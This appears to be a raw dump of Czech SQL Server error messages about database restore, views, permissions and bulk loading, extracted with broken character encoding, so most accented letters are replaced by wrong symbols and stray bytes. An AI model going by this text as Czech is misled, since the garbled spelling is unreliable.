ek�n� na HADR_DATABASE_WAIT_FOR_TRANSITION_TO_VERSIONING. Replika nen� dostupn� pro pYihl�aen�, proto~e chyb� verze Y�dko pro transakce, kter� v dob recyklace repliky pr�v prob�haly. Probl�m lze vyYeait vr�cen�m zpt nebo potvrzen�m aktivn�ch transakc� na prim�rn� replice. Pravdpodobnost v�skytu takov�chto stavo mo~ete minimalizovat, kdy~ se budete vyh�bat dlouh�m transakc�m z�pisu na prim�rn� replice.

�Mo~nost %1!s! je v konfliktu s online obnoven�m. Odeberte mo~nost, kter� je v konfliktu, a opakujte pY�kaz.

XV�choz�m bodem dopYedn�ho posunut� je nyn� poYadov� 
�slo polo~ky (LSN) %1!s!. Dokon
en� posloupnosti obnoven� vy~aduje dala� dopYedn� posunut� pYed hodnotu LSN %2!s!.

�Protokol v tomto z�lohovac�m skladu za
�n� na poYadov�m 
�sle polo~ky (LSN) %1!s!, co~ je pro pou~it� v datab�zi hodnota pY�lia ned�vn�. Mo~e b�t obnovena stara� z�loha protokolu obsahuj�c� hodnotu LSN %2!s!.

�Obnoven� datab�ze %1!s! online se nezdaYilo. Mohlo by b�t vhodn� prov�st obnoven� offline. Chcete-li si vynutit obnoven� offline, uvete nejprve datab�zi do stavu offline pomoc� pY�kazu ALTER DATABASE.

�Stav souboru %1!s! br�n� obnoven� jednotliv�ch str�nek. V tomto okam~iku je mo~n� pouze obnoven� souboru.

�V souboru %1!s! nen� povolen pY�kaz RESTORE PAGE, proto~e soubor nen� online.

�PY�kaz RESTORE PAGE nen� povolen ze z�loh vytvoYen�ch ve stara�ch verz�ch syst�mu SQL Server.

Tento protokol nelze obnovit, proto~e v Yetzci protokolu se vytvoYila mezera. K pYemostn� mezery pou~ijte novja� z�lo~n� data.

�Soubor %1!s! byl posunut dopYedu na hodnotu LSN %2!s!. Protokol kon
� u hodnoty LSN %3!s!. Tato hodnota je pY�lia star� na to, aby ji v mo~nosti WITH RECOVERY bylo mo~n� pou~�t. Vydejte pY�kaz RESTORE LOG znovu, tentokr�t s mo~nost� WITH NORECOVERY.

XPYedchoz� operace obnoven� byla pYeruaena a zpracov�n� souboru %1!s! nebylo dokon
eno. Bu obnovte pYeruaen� z�lohovac� sklad, nebo znovu spusete posloupnost obnoven�.

(Soubor %1!s! nebyl pYi obnoven� datab�ze nebo souboru pln obnoven. Ne~ pou~ijete tento z�lohovac� sklad, mus� b�t �span obnoven cel� soubor.

�PYedchoz� operace RESTORE WITH CONTINUE_AFTER_ERROR mohla zanechat datab�zi v poakozen�m stavu. Chcete-li pokra
ovat v t�to posloupnosti obnoven�, musej� vaechny dala� kroky obsahovat mo~nost CONTINUE_AFTER_ERROR.

�Protokol v tomto z�lohovac�m skladu kon
� na poYadov�m 
�sle polo~ky (LSN) %1!s!, co~ je pro pou~it� v datab�zi hodnota pY�lia star�. Mo~e b�t obnovena novja� z�loha protokolu obsahuj�c� hodnotu LSN %2!s!.

dProtokol v tomto z�lohovac�m skladu obsahuje hromadn protokolovan� zmny. Obnoven� k ur
it�mu bodu v 
ase bylo potla
eno. Datab�ze byla posunuta dopYedu na konec protokolu.

�Soubor %1!s! chyb�. DopYedn� posunut� se zastavuje na poYadov�m 
�sle polo~ky %2!s!. Soubor je vytvoYen u poYadov�ho 
�sla polo~ky (LSN) %3!s!, vyYazen u hodnoty LSN %4!s!. Obnovte transak
n� protokol do stavu, ve kter�m se nach�zel pYed vyYazen�m souboru, nebo obnovte data, aby byla konzistentn� se zbytkem datab�ze.

�Tento z�lohovac� sklad nelze pou~�t, proto~e cesta obnoven�, kde se nach�z�, nen� konzistentn� s datab�z�. Cesta obnoven� je posloupnost dat a z�loh protokolu, kter� pYevedla datab�zi do konkr�tn�ho bodu obnoven�. Najdte kompatibiln� z�lohu, nebo obnovte zbytek datab�ze, aby odpov�dala bodu obnoven� v r�mci tohoto z�lohovac�ho skladu (datab�ze bude obnovena k jin�mu 
asov�mu okam~iku). Dala� informace o cest�ch obnoven� naleznete na webu Knihy online pro SQL Server.

�Datab�zi nelze obnovit, proto~e soubory byly obnoveny k nekonzistentn�mu 
asov�mu okam~iku.

PY�kaz RESTORE LOG byl zastaven. Chcete-li pou~�vat datab�zi v aktu�ln�m stavu, spusete pY�kaz RESTORE DATABASE %1!s! WITH RECOVERY.

xDatab�zi nelze obnovit, proto~e nebyl obnoven protokol.

pZna
ka s n�zvem neidentifikuje platnou hodnotu LSN.

Jako okam~ik zastaven� byla ur
ena pY�lia vzd�len� doba. Datab�ze (nebo jej� 
�st) ji~ byla posunuta dopYedu pYed tento bod.

�Skupina souboro %1!s! byla vyYazena a v datab�zi online ji nelze obnovit.

�Soubor %1!s! byla vyYazen a v datab�zi online ho nelze obnovit.

�asov� okam~ik ur
en� v klauzuli STOPAT je pY�lia brzk� na to, aby tento z�lohovac� sklad mohl b�t obnoven. Zvolte jin� okam~ik zastaven�, nebo pou~ijte pY�kaz RESTORE DATABASE WITH RECOVERY a obnovte datab�zi k aktu�ln�mu bodu.

pPou~it� klauzule ur
uj�c� v pY�kazu RESTORE ur
it� bod v 
ase je omezeno pouze na pY�kazy RESTORE LOG. Vynechejte klauzuli, nebo pou~ijte klauzuli, kter� obsahuje 
asov� raz�tko.

�Tato z�loha protokolu obsahuje hromadn protokolovan� zmny. Nelze ji pou~�t k zastaven� v libovoln�m 
asov�m okam~iku.

�Obnoven� k ur
it�mu bodu v 
ase nen� mo~n�, dokud se prim�rn� skupina souboro nestane sou
�st� posloupnosti obnoven�. Vynechejte klauzuli t�kaj�c� se ur
it�ho 
asov�ho okam~iku, nebo obnovte prim�rn� skupinu souboro.

xDatab�ze byla posunuta dopYedu na konec tohoto z�lohovac�ho skladu mimo ur
en� 
asov� okam~ik. Pou~ijete-li pY�kaz RESTORE WITH RECOVERY bude obnoven� provedeno k aktu�ln�mu okam~iku.

�PY�kaz RESTORE PAGE nen� povolen u datab�z� jen pro 
ten� a u skupin souboro.

PY�kaz RESTORE PAGE nen� povolen u datab�z�, kter� pou~�vaj� jednoduch� model obnoven� nebo maj� poakozen Yetzec z�lohy protokolu.

@Aktu�ln� posloupnost obnoven� byla pYi pYechodu do stavu online pYeruaena. PYechod do stavu online dokon
ete pomoc� pY�kazu RESTORE DATABASE WITH RECOVERY.

HObnoven� datab�ze %1!s! online se nezdaYilo. Mohlo by b�t vhodn� prov�st obnoven� offline. Obnoven� offline zah�j�te pomoc� pY�kazu BACKUP LOG WITH NORECOVERY.

XProtokol v tomto z�lohovac�m skladu za
�n� na poYadov�m 
�sle polo~ky (LSN) %1!s!, co~ je pro pou~it� v datab�zi hodnota pY�lia ned�vn�. Tato posloupnost obnoven� mus� inicializovat protokol, aby za
�nal na hodnot LSN %2!s!. Znovu vydejte pY�kaz RESTORE LOG a pou~ijte stara� z�lohu protokolu.

�Seznam str�nek v pY�kazu RESTORE PAGE m� nespr�vn� form�t. Ne~ se vyskytl probl�m %1!s!, byly str�nky identifikov�ny spr�vn. Byl zjiatn probl�m v odsazen� znaku %2!s!. Zkontrolujte, zda jsou vaechny str�nky ur
eny p�ry 
�sel ve form�tu <soubor>:<str�nka>, kter� jsou navz�jem oddlen� 
�rkami. NapY�klad: PAGE='1:57,2:31'.

�Z�lohy vytvoYen� ve stara�ch verz�ch syst�mu SQL Server nejsou podporov�ny funkc� fn_dump_dblog.

HPY�kaz RESTORE LOG nen� podporov�n z t�to z�lohy dat, proto~e soubor %1!s! je moc star�. Pokra
ujte v posloupnosti obnoven� pomoc� pravideln� z�lohy protokolu.

Bylo ur
eno konfliktn� pYem�stn� souboru %1!s!. Pro ka~d� logick� n�zev souboru lze ur
it pouze jednu klauzuli WITH MOVE.

PY�kaz k n�vratu je nespr�vn zad�n. PY�kaz RESTORE mus� m�t tento form�t: RESTORE DATABASE <x> FROM DATABASE_SNAPSHOT = <y>.

(Obnoven� nemo~e vyu~�t %1!s! offline, proto~e existuj�c� zmny po~aduj� z�lohu protokolu. Pou~ijte z�lohu protokolu a opakujte pY�kaz RESTORE.

(Datab�zi nelze pYev�st do stavu online, proto~e soubor %1!s! je aktu�ln obnoven k hodnot LSN %2!s!, ale mus� b�t obnoven k hodnot LSN %3!s!.

PMo~nost STOPAT nelze pou~�t u t�to posloupnosti 
�ste
n�ho obnoven�, proto~e chyb� nejm�n jedna skupina souboro FILESTREAM. Obnoven� si mo~ete vynutit pomoc� mo~nosti CONTINUE_AFTER_ERROR, mli byste ji vaak pou~�t jen v pY�pad, ~e nezam�al�te 
�ste
n obnovit skupiny souboro FILESTREAM.

�Operace RESTORE LOG WITH CONTINUE_AFTER_ERROR byla ne�span�. Prov�dn� pY�kazu RESTORE bylo pYeruaeno.

HOpakov�n� hodnoty LSN se ur
itou dobu nezmnilo. ek�n� se rua�, proto~e by se mohlo jednat o zablokov�n�. Opakov�n� hodnoty LSN: %1!s!, HkRecoveryLsn: %2!s!.

 Zobrazen� nebo funkci %1!s! nelze aktualizovat, proto~e obsahuje agregace, klauzule DISTINCT 
i GROUP BY, nebo oper�tory PIVOT 
i UNPIVOT.

�Zobrazen� nebo funkci %1!s! nelze aktualizovat, proto~e �pravy ovlivHuj� v�ce z�kladn�ch tabulek.

�Aktualizace 
i vlo~en� zobrazen� nebo funkce %1!s! se nezdaYilo, proto~e obsahuje odvozen� nebo konstantn� pole.

 PY�lia mnoho tabulek. Dotaz a v nm obsa~en� zobrazen� 
i funkce pYekro
ily maxim�ln� po
et %1!s! tabulek. Zmenaete po
et tabulek v dotazu.

�Zobrazen� nebo funkci %1!s! nelze kvoli chyb�m vazby pou~�t.

�Zobrazen� nebo rozliaen� funkce nelze pYidlit pomocnou tabulku. Maxim�ln� po
et tabulek v dotazu (%1!s!) byl pYekro
en.

�Zobrazen� %1!s! nelze aktualizovat, proto~e bu bylo vytvoYeno pomoc� klauzule WITH CHECK OPTION, nebo obsahuje zobrazen� vytvoYen� pomoc� t�to klauzule. Ve v�sledn�m dotazu je nkolikr�t odkazov�no na c�lovou tabulku.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e definice obsahuje nepovolen� konstruktor.

�Odvozenou tabulku %1!s! nelze aktualizovat, proto~e definice obsahuje oper�tor UNION.

Odvozenou tabulku %1!s! nelze aktualizovat, proto~e obsahuje agregace nebo klauzuli DISTINCT 
i GROUP BY nebo oper�tor PIVOT 
i UNPIVOT.

�Odvozenou tabulku %1!s! nelze aktualizovat, proto~e �pravy ovlivHuj� v�ce z�kladn�ch tabulek.

�Odvozenou tabulku %1!s! nelze aktualizovat, proto~e sloupec odvozen� tabulky je odvozen� 
i konstantn�.

�Zobrazen� %1!s! obsahuje aktiva
n� ud�lost INSTEAD OF UPDATE a nemo~e b�t c�lem pY�kazu UPDATE FROM.

�Zobrazen� %1!s! obsahuje aktiva
n� ud�lost INSTEAD OF DELETE a nemo~e b�t c�lem pY�kazu DELETE FROM.

V dotazu obsahuj�c�m oper�tory vnja�ho spojen� nelze zadat spojen� tabulky. Zobrazen� 
i funkce %1!s! obsahuje spojen� tabulky.

 V dotazu obsahuj�c�m spojen� tabulky nelze zadat oper�tory vnja�ho spojen�. Zobrazen� 
i funkce %1!s! obsahuje oper�tory vnja�ho spojen�.

�Zobrazen� %1!s! nelze aktualizovat, proto~e definice obsahuje oper�tor UNION.

�Zobrazen� %1!s! nelze aktualizovat, proto~e toto zobrazen� nebo zobrazen�, na kter� odkazuje, bylo vytvoYeno pomoc� klauzule WITH CHECK OPTION a jeho definice obsahuje klauzuli TOP nebo OFFSET.

Zobrazen� 
i funkce %1!s! obsahuje odkaz na sebe sama. Zobrazen� a funkce nemohou odkazovat na sebe sama pY�mo ani nepY�mo.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e tabulka %2!s! obsahuje sloupec 
asov�ho raz�tka.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e tabulka %2!s! obsahuje omezen� DEFAULT.

�Nelze pou~�t pY�kaz INSERT pro zobrazen� odd�lo %1!s!, proto~e tabulka %2!s! obsahuje omezen� IDENTITY.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e tabulka %2!s! obsahuje aktiva
n� ud�lost INSTEAD OF.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e nebyla zad�na hodnota pro dlic� sloupec %2!s!.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e dlic� sloupec nebyl nalezen.

�Zobrazen� odd�lo %1!s! nelze aktualizovat jako c�l hromadn� operace.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e nejsou poskytov�ny vaechny sloupce z jeho 
lensk�ch tabulek.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e dotaz zdroje odkazuje na tabulku odd�lo %2!s!.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e nebyl nalezen prim�rn� kl�
 pro tabulku %2!s!.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e tabulka %2!s! obsahuje index pro po
�tan� sloupec.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e z�kladn� tabulka %2!s! je pou~ita v�cekr�t.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e sloupec %2!s! z�kladn� tabulky %3!s! je pou~it v�cekr�t.

�Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e prim�rn� kl�
 tabulky %2!s! nen� zahrnut ve v�sledku sjednocen�.

Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e prim�rn� kl�
 tabulky %2!s! nen� sjednocen s prim�rn�mi kl�
i pYedchoz�ch tabulek.

Zobrazen� UNION ALL %1!s! nelze aktualizovat, proto~e definice sloupce %2!s! v zobrazen� %3!s! je pou~ita jin�m sloupcem zobrazen�.

�Zobrazen� %1!s! nelze aktualizovat, proto~e definice obsahuje oper�tor sady.

�Nelze pou~�t pY�kaz INSERT pro zobrazen� odd�lo %1!s!, proto~e nebyly zad�ny hodnoty pro vaechny sloupce.

�V�choz� hodnoty nelze pou~�t v zobrazen�ch obsahuj�c�ch oper�tor SET.

Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e definice sloupce zobrazen� %2!s! v tabulce %3!s! obsahuje omezen� IDENTITY.

�V edici t�to instance syst�mu SQL Server %1!s! nelze aktualizovat zobrazen� odkazuj�c� na tabulky na v�ce serverech. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

(PY�kaz UPDATE nelze pou~�t pro dlic� sloupec %1!s! v zobrazen� %2!s!, proto~e tabulka %3!s! obsahuje omezen� CASCADE DELETE 
i CASCADE UPDATE.

,PY�kaz UPDATE nelze pou~�t pro dlic� sloupec %1!s! v zobrazen� %2!s!, proto~e tabulka %3!s! obsahuje aktiva
n� ud�lost INSERT, UPDATE 
i DELETE.

�Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e dlic� sloupce 
lensk�ch tabulek jsou rozn�ho typu.

Zobrazen� odd�lo %1!s! nelze aktualizovat, proto~e jeden 
i v�ce nedlic�ch sloupco 
lensk�ch tabulek nem� odpov�daj�c� typ.

�Vlo~en� 
i aktualizace zobrazen� odd�lo se nezdaYila, proto~e hodnota dlic�ho sloupce nepatY� do ~�dn�ho z odd�lo.

4Zobrazen� odd�lo %1!s! nejde aktualizovat, proto~e jedna nebo v�ce tabulek s odd�ly je tabulkou typu Hekaton a sloupec s odd�ly se pr�v aktualizuje.

�V zobrazen� 
i funkci %1!s! je zad�no v�ce n�zvo sloupco, ne~ je po
et definovan�ch sloupco.

�Nelze vytvoYit objekt %1!s! %2!s! sv�zan� se sch�matem, proto~e odkazuje na objekt v jin� datab�zi.

�Nelze vytvoYit objekt %1!s! %2!s!, proto~e typ CLR %3!s! v c�lov� datab�z� %4!s! neexistuje.

PY�kaz CREATE VIEW se nezdaYil, proto~e pou~it�m sloupce %1!s! v zobrazen� %2!s! byl pYekro
en maxim�ln� po
et sloupco (%3!s!).

N�zvy sloupco v ka~d�m zobrazen� 
i funkci mus� b�t jedine
n�. N�zev sloupce %1!s! v zobrazen� 
i funkci %2!s! je zad�n v�ce ne~ jednou.

�Zobrazen� nebo funkce nejsou v do
asn�ch tabulk�ch povoleny. N�zvy do
asn�ch tabulek za
�naj� znakem #.

�PY�kaz CREATE VIEW nelze prov�st, proto~e byl zad�n pY�kaz WITH %1!s! a zobrazen� nelze aktualizovat.

�PY�kaz CREATE VIEW nebo CREATE FUNCTION se nezdaYil, proto~e nebyl zad�n ~�dn� n�zev pro sloupec %1!s!.

|Objekt %1!s! %2!s! nelze sv�zat se sch�matem, proto~e n�zev %3!s! je neplatn� pro sv�z�n� se sch�matem. N�zvy je tYeba zadat ve dvoud�ln�m form�tu a objekt nesm� odkazovat na sebe sama.

�Objekt %1!s! %2!s! nelze sv�zat se sch�matem. Objekt %3!s! nen� ur
en pro sv�z�n� se sch�matem.

�PY�kaz CREATE FUNCTION se nezdaYil, proto~e nebyl zad�n n�zev pro sloupec %1!s!.

PY�kaz CREATE FUNCTION se nezdaYil, proto~e pou~it�m sloupce %1!s! ve funkci %2!s! byl pYekro
en maxim�ln� po
et sloupco (%3!s!).

�Funkci %1!s! nelze sv�zat se sch�matem, proto~e obsahuje pY�kaz EXECUTE.

�Objekt fronty slu~by nelze pou~�t ve v�razech pou~�van�ch pro sv�z�n� se sch�matem. Objekt %1!s! je fronta slu~by.

@Nelze pou~�t pY�kaz %1!s! %2!s! %3!s! pro zobrazen� %4!s!, proto~e se jedn� o zobrazen� vygenerovan� syst�mem, kter� bylo vytvoYeno za �
elem optimalizace.

Nelze zak�zat index pro zobrazen� %1!s!, proto~e se jedn� o zobrazen� vygenerovan� syst�mem, kter� bylo vytvoYeno za �
elem optimalizace.

�Ve v�razech pou~�van�ch ke sv�z�n� se sch�matem nelze pou~�t objekt %1!s! s atributem AUTODROP, proto~e se jedn� o zobrazen� vygenerovan� syst�mem, kter� bylo vytvoYeno za �
elem optimalizace.

Zobrazen� %1!s! nelze zmnit, proto~e se jedn� o zobrazen� vygenerovan� syst�mem, kter� bylo vytvoYeno za �
elem optimalizace.

8Nelze vytvoYit aktiva
n� ud�lost pro zobrazen� %1!s!, proto~e se jedn� o zobrazen� vygenerovan� syst�mem, kter� bylo vytvoYeno za �
elem optimalizace.

�Nejde zmnit zobrazen� %1!s!, proto~e m� materializaci sn�mku.

�Nejde pou~�t upozornn� %1!s! na zobrazen� %2!s!, kter� m� materializaci sn�mku, pYed aktualizac� zobrazen�.

Nejde pou~�t upozornn� tabulky �rovn izolace na zobrazen� %1!s!, kter� m� materializac� sn�mku bez upozornn� dotazu EXPAND VIEWS.

�Nejde prov�st pY�kaz ALTER VIEW %1!s! s atributem SNAPSHOT. Pou~ijte m�sto toho pY�kaz CREATE VIEW.

�Opr�vnn� CREATE DATABASE mohou udlit 
i odvolat pouze 
lenov� role sysadmin.

�U~ivatel nebo skupina %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Udlen� 
i odvolan� opr�vnn� %1!s! nen� s objektem kompatibiln�.

�Opr�vnn� lze udlit 
i odvolat pouze pro objekty v aktu�ln� datab�zi.

�Chcete-li odvolat 
i odepY�t udliteln� opr�vnn�, zadejte mo~nost CASCADE.

LUdlovatel nem� opr�vnn� GRANT.

HNeplatn� n�zev sloupce: %1!s!.

lTuto operaci nelze prov�st s datab�z� prostYedko.

�Nelze udlit, odepY�t ani odvolat opr�vnn� pro zvl�atn� role.

pNem�te opr�vnn� pou~�t objekt %1!s! v klauzuli AS.

�Opr�vnn� CREATE DATABASE lze udlit pouze v hlavn� datab�zi.

�Vaechna opr�vnn� v pY�kazu grant/deny/revoke by mla m�t stejn� obor (napY. server 
i datab�ze).

�Opr�vnn� v oboru serveru lze udlit pouze tehdy, pokud je aktu�ln� datab�ze hlavn�.

�Opr�vnn� v oboru serveru lze udlit pouze pYihlaaovac�m jm�nom.

�Opr�vnn� ALL ji~ nen� pou~�v�no a nen� pro tuto tY�du entity k dispozici.

Opr�vnn� typu sa, dbo, entity owner, information_schema, sys a opr�vnn� pro sebe sama nelze udlit, odepY�t ani odvolat.

�Objekt zabezpe
en� serveru %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Opr�vnn� aplika
n�ch rol� pro pYipojen� datab�ze nelze udlit, odepY�t ani odvolat.

Opr�vnn� ALL ji~ nen� pou~�v�no a bylo zachov�no pouze z dovodu kompatibility. Nejedn� se o vaechna opr�vnn� definovan� pro entitu.

\Opr�vnn� pro katalogov� zobrazen� v oboru serveru, syst�mov� ulo~en� procedury 
i roza�Yen� ulo~en� procedury lze udlit pouze tehdy, pokud je aktu�ln� datab�ze hlavn�.

�Opr�vnn� %1!s! nen� v t�to verzi syst�mu SQL Server podporov�no. Mo~ete tak� pou~�t opr�vnn� %3!s! na �rovni %2!s!.

�Opr�vnn� %1!s! nen� v t�to verzi syst�mu SQL Server podporov�no.

�Opr�vnn� %1!s! nen� v t�to verzi syst�mu SQL Server podporov�no. Mo~ete tak� pou~�t opr�vnn� %3!s! na �rovni %2!s!.

�Nelze naj�t objekt %1!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Objekt %1!s! nelze zkr�tit, proto~e objekt 
i jeden z jeho indexo se nach�z� ve skupin souboro %2!s! typu READONLY.

|Objekt %1!s! nelze zkr�tit, proto~e se nejedn� o tabulku.

hNen� povoleno zkr�tit syst�movou tabulku %1!s!.

�Objekt %1!s! nelze zkr�tit, proto~e objekt 
i jeden z jeho indexo se nach�z� ve skupin souboro %2!s! v re~imu offline.

�Tabulku %1!s! nelze zkr�tit, proto~e byla publikov�na pro replikaci nebo byla povolena pro funkci Change Data Capture.

�Tabulku %1!s! nelze zkr�tit, proto~e na ni odkazuje omezen� FOREIGN KEY.

�Hromadn� vlo~en� nen� v tomto pY�stupov�m protokolu podporov�no.

�Mo~nosti SINGLE_LOB, SINGLE_CLOB a SINGLE_NCLOB se vz�jemn vylu
uj� se vaemi dala�mi mo~nostmi.

�Klient pro hromadn� kop�rov�n� (BCP) odeslal d�lku Y�dku %1!s!. Tato velikost je neplatn�. Maxim�ln� velikost Y�dku je %2!s!. Pou~ijte podporovan� klientsk� aplika
n� programovac� rozhran�.

HPYi 
ten� aktu�ln�ho Y�dku z hostitele doalo k pYed
asn�mu ukon
en� zpr�vy   pY�choz� datov� proud byl pYeruaen, ale server o
ek�val dala� data. Pravdpodobn doalo k ukon
en� ze strany hostitelsk�ho programu. OvYte, zda pou~�v�te podporovan� klientsk� aplika
n� programovac� rozhran�.

 Pou~�van� n�stroj klienta (front-end) nepodporuje hromadn� na
ten� z hostitele. Pou~ijte n�stroje, kter� jsou pro tento pY�kaz podporov�ny.

�PY�kaz SINGLE_CLOB po~aduje vstupn� soubor s dvoubajtovou znakovou sadou (DBCS). Zadan� soubor pou~�v� k�dov�n� Unicode.

�Klient pro hromadn� kop�rov�n� (BCP) odeslal d�lku Y�dku %1!s!. Tato velikost nen� platn�. Minim�ln� velikost Y�dku je %2!s!. Pou~ijte podporovan� klientsk� aplika
n� programovac� rozhran�.

�Operace hromadn�ho kop�rov�n� nemohou aktivovat pY�kazy hromadn�ho na
ten�.

�PY�kaz SINGLE_NCLOB po~aduje vstupn� soubor typu UNICODE (widechar). Zadan� soubor nen� typu Unicode.

�V datov�m proudu pro hromadn� kop�rov�n� dat typu text 
i image byl o
ek�v�n token TEXT.

�V datov�m proudu pro hromadn� kop�rov�n� dat typu text 
i image byl o
ek�v�n posun sloupce.

�V datov�m proudu pro hromadn� kop�rov�n� dat typu text 
i image byl o
ek�v�n posun Y�dku.

�V datov�m proudu pro hromadn� kop�rov�n� dat typu text, ntext 
i image byla o
ek�v�na d�lka textu.

�Hromadn� kop�rov�n� do dlen� tabulky nen� pro klienty ni~a� �rovn podporov�no.

�Od klienta BCP byla pYijata neplatn� d�lka sloupce pro ID sloupce %1!s!.

�Neplatn� typ sloupce pro ID sloupce %1!s! poch�zej�c� od klienta BCP.

�Nelze hromadn na
�st. SeYazen� sloupec %1!s! nen� platn�. Pomocn� parametr ORDER bude ignorov�n.

�Nelze hromadn na
�st. SeYazen� sloupec %1!s! byl zad�n v�cekr�t. Pomocn� parametr ORDER bude ignorov�n.

$Nelze hromadn na
�st. Hromadn� proud dat byl nespr�vn zad�n jako seYazen� nebo data naruauj� omezen� jedine
nosti stanoven� c�lovou tabulkou. PoYad� Yazen� n�sleduj�c�ch dvou Y�dko je nespr�vn�: Prim�rn� kl�
 prvn�ho Y�dku: %1!s!. Prim�rn� kl�
 druh�ho Y�dku: %2!s!.

�Nelze hromadn na
�st. Nezn�m� verze form�tov�ho souboru %1!s!.

�Nelze hromadn na
�st. PYi 
ten� po
tu sloupco z form�tov�ho souboru %1!s! doalo k chyb.

�Nelze hromadn na
�st. Po
et sloupco ve form�tov�m souboru %1!s! je neplatn�.

�Nelze hromadn na
�st. �slo sloupce ve form�tov�m souboru %1!s! je neplatn�.

�Nelze hromadn na
�st. Datov� typ pro 
�slo sloupce %1!s! ve form�tov�m souboru %2!s! je neplatn�.

�Nelze hromadn na
�st. PYedpona pro 
�slo sloupce %1!s! ve form�tov�m souboru %2!s! je neplatn�.

�Nelze hromadn na
�st. D�lka sloupce pro 
�slo sloupce %1!s! ve form�tov�m souboru %2!s! je neplatn�.

�Nelze hromadn na
�st. Ukon
ovac� znak sloupce pro 
�slo sloupce %1!s! ve form�tov�m souboru %2!s! je neplatn�.

�Nelze hromadn na
�st. �slo sloupce c�lov� tabulky pro zdrojov� sloupec %1!s! ve form�tov�m souboru %2!s! je neplatn�.

Nelze hromadn na
�st. PYi 
ten� n�zvu sloupce c�lov� tabulky pro zdrojov� sloupec %1!s! ve form�tov�m souboru %2!s! doalo k chyb.

tHromadn� na
ten�: Neo
ek�van� konec datov�ho souboru.

Hromadn� na
ten�: Neshoda verz� mezi knihovnou DLL (Dynamic Link Library) zprostYedkovatele a spustiteln�m souborem serveru.

pNem�te opr�vnn� pou~�t pY�kaz hromadn�ho na
ten�.

�Hromadn� kop�rov�n� do tabulky s po
�tan�mi sloupci nen� pro klienty ni~a� �rovn podporov�no.

�Do tabulky %1!s!, ve kter� byla povolena okam~it� aktualizace odbro, nelze hromadn kop�rovat.

�Hromadn� zdroj dat nepodporuje datov� typy SQLNUMERIC a SQLDECIMAL.

�Nelze prov�st hromadn� na
ten�. Neplatn� n�zev kolace pro zdrojov� sloupec %1!s! ve form�tov�m souboru %2!s!.

�Xetzec zprostYedkovatele zdroje hromadn�ch dat obsahuje neplatnou hodnotu vlastnosti %2!s! (%1!s!).

hN�zev zdroje dat nen� jednoduch� n�zev objektu.

�V Yetzci zprostYedkovatele pro server chyb� po~adovan� vlastnost FormatFile.

�Xetzec zprostYedkovatele zdroje hromadn�ch dat obsahuje chybu syntaxe (%1!s!) v bl�zkosti pozice znaku %2!s!.

�Xetzec zprostYedkovatele zdroje hromadn�ch dat obsahuje nepodporovan� n�zev vlastnosti (%1!s!).

HXetzec zprostYedkovatele zdroje hromadn�ch dat obsahuje chybu syntaxe v bl�zkosti pozice znaku %1!s!. Byl o
ek�v�n objekt %2!s!, ale byl nalezen objekt %3!s!.

�PYidlen� pamti poskytovatelem hromadn�ch dat se nezdaYilo.

Hromadn� kop�rov�n� do tabulky se sloupci s datov�m typem bigint nen� podporov�no ve verz�ch stara�ch ne~ syst�m SQL Server 2000.

Hromadn� kop�rov�n� do tabulky se sloupci s datov�m typem sql_variant nen� podporov�no ve verz�ch stara�ch ne~ syst�m SQL Server 2000.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Neo
ek�van� element %3!s!.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Neo
ek�van� informa
n� polo~ka.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Pro tento typ nelze zadat atribut %3!s!.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Chybn� hodnota %3!s! atributu %4!s!.

�X�dek %1!s! ve form�tov�m souboru %2!s!: Po~adovan� atribut %3!s! nebyl nalezen.

�Nelze hromadn na
�st. Soubor %1!s! neexistuje nebo nem�te pr�va pro pY�stup k souboru.

�Nelze hromadn na
�st, proto~e soubor %1!s! nelze otevY�t. K�d chyby opera
n�ho syst�mu %2!s!.

�Nelze hromadn na
�st, proto~e soubor %1!s! je ne�pln� nebo ho nelze 
�st. K�d chyby opera
n�ho syst�mu %2!s!.

�Chyba (zkr�cen�) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!).

$Chyba (neshoda typu 
i neplatn� znak pro zadanou znakovou str�nku) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!).

�Nelze hromadn na
�st, proto~e byl pYekro
en maxim�ln� po
et chyb (%1!s!).

\Hromadn� na
ten� se nezdaYilo. Sloupec v datov�m souboru je pY�lia dlouh� na Y�dku %1!s! ve sloupci %2!s!. OvYte, zda jsou ukon
ovac� znaky pole a Y�dku zad�ny spr�vn.

�Chyba (pYete
en�) pYevodu dat pYi hromadn�m na
ten� na Y�dku %1!s! ve sloupci %2!s! (%3!s!).

Hromadn� na
ten� se nezdaYilo. Znakov� str�nka %1!s! nen� nainstalovan�. Nainstalujte znakovou str�nku a spusete pY�kaz znovu.

PHromadn� na
ten� se nezdaYilo. Neo
ek�van� hodnota NULL v datov�m souboru na Y�dku %1!s! ve sloupci %2!s!. C�lov� sloupec (%3!s!) je definov�n s mo~nost� NOT NULL.

�Nelze hromadn na
�st, proto~e pYi z�pisu souboru %1!s! doalo k chyb. K�d chyby opera
n�ho syst�mu %2!s!.

�PYi z�znamu chyb do protokolu doalo k chyb hromadn�ho na
ten�.

